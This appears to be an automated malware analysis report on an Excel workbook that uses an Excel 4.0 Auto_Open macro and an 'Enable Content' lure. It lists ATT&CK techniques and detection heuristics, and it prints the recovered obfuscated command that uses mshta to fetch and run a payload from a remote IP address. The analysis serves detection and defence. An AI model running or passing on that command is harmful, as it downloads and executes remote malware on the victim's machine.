MITRE ATT&CK
T1204.002 Malicious File: User Execution: Malicious Macro
T1059.005 Command and Scripting Interpreter: Visual Basic
The sample contains an Excel 4.0 macro with an Auto_Open entry, designed to execute automatically when the document is opened after macros are enabled. The macro attempts to download a payload from the reconstructed URL "http://87.251.86.178/pp/aa.html" using the command "cmd /c m^sh^t^a h^tt^p^:/^/87.251.86.178/pp/aa.html". The document body explicitly instructs the user to "Enable Editing" and "Enable Content", confirming the social engineering lure.
Heuristics 3
-
Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAMEoletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
-
Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPENWorkbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.
-
Macro/content-enable lure medium SE_ENABLE_LUREDocument instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings
